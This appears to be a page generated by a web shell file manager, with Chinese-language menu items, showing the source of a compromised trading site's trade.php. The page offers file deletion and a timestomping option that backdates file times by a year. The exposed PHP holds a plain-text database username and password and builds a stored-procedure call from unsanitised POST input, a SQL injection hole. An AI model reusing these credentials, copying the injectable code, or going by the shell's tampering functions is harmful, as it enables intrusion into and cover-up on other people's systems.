文件操作 - trade.php
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\algo.kimbly.in\wwwroot\trade.php
编辑文件内容
<?php $servername='localhost:3309'; $username='satya'; $password='Airforce@123'; $dbname = "kimalgo"; $conn=mysqli_connect($servername,$username,$password,$dbname); if(!$conn){ echo "<h2>Error</h2>"; echo "mysql_error()"; die('Could not Connect My Sql:' .mysql_error()); } if(isset($_POST["btnManualLong"])) { $trtype = "BUY"; $qty = $_POST['txtqty']; $symbol = $_POST['selectinstr']; $call = mysqli_prepare($conn, "CALL update_manualtrade('".$trtype."','".$qty."','".$symbol."')"); mysqli_stmt_execute($call); echo "Long Done"; } if(isset($_POST["btnManualShort"])) { $trtype = "SELL"; $qty = $_POST['txtqty']; $symbol = $_POST['selectinstr']; $call = mysqli_prepare($conn, "CALL update_manualtrade('".$trtype."','".$qty."','".$symbol."')"); mysqli_stmt_execute($call); echo " Short Done"; } ?> <html> <head> <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <link rel="stylesheet" href="//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.min.css"> <link rel="stylesheet" href="/dist/bootsnipp.min.css"> </head> <form class="form-horizontal" method="POST" action=""> <fieldset> <!-- Form Name --> <legend>Kimbly Labs</legend> <div class="form-group"> <label class="col-md-4 control-label" for="selectbasic">Quantity</label> <div class="col-md-4"> <input type="text" name="txtqty" value="50"> </div> </div> <!-- Select Basic --> <div class="form-group"> <label class="col-md-4 control-label" for="selectbasic">Instrument</label> <div class="col-md-4"> <select id="selectinstr" name="selectinstr" class="form-control"> <option value="NIFTY21JULFUT">NIFTY Future</option> <option value="Bank NIFTY Future">Bank NIFTY Future</option> <option value="Maruti Future">Maruti Future</option> <option value="TCS Future">TCS Future</option> <option value="Reliance Future">Reliance Future</option> <option value="INFY Future">INFY Future</option> <option value="ICICI Bank Future">ICICI Bank Future</option> <option value="SBIN Future">SBIN Future</option> </select> </div> </div> <!-- Button (Double) --> <div class="form-group"> <label class="col-md-4 control-label" for="button1id">Trailing Action</label> <div class="col-md-8"> <input type="submit" id="btnTrailingLong" name="btnTrailingLong" class="btn btn-success" value="Long"/> <input type="submit" id="btnTrailingShort" name="btnTrailingShort" class="btn btn-danger" value="Short"/> </div> </div> <!-- Button (Double) --> <div class="form-group"> <label class="col-md-4 control-label" for="button1id">Manual Action</label> <div class="col-md-8"> <input type="submit" id="btnManualLong" name="btnManualLong" class="btn btn-success" value="Long"/> <input type="submit" id="btnManualShort" name="btnManualShort" class="btn btn-danger" value="Short"> </div> </div> <!-- Multiple Checkboxes --> <div class="form-group"> <label class="col-md-4 control-label" for="checkboxes">Options</label> <div class="col-md-4"> <div class="checkbox"> <label for="checkboxes-0"> <input type="checkbox" name="checkboxes" id="checkboxes-0" value="Trail Stop Loss"> Trail Stop Loss </label> </div> <div class="checkbox"> <label for="checkboxes-1"> <input type="checkbox" name="checkboxes" id="checkboxes-1" value="Regression to Mean"> Regression to Mean </label> </div> </div> </div> </div> </fieldset> </form> <html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件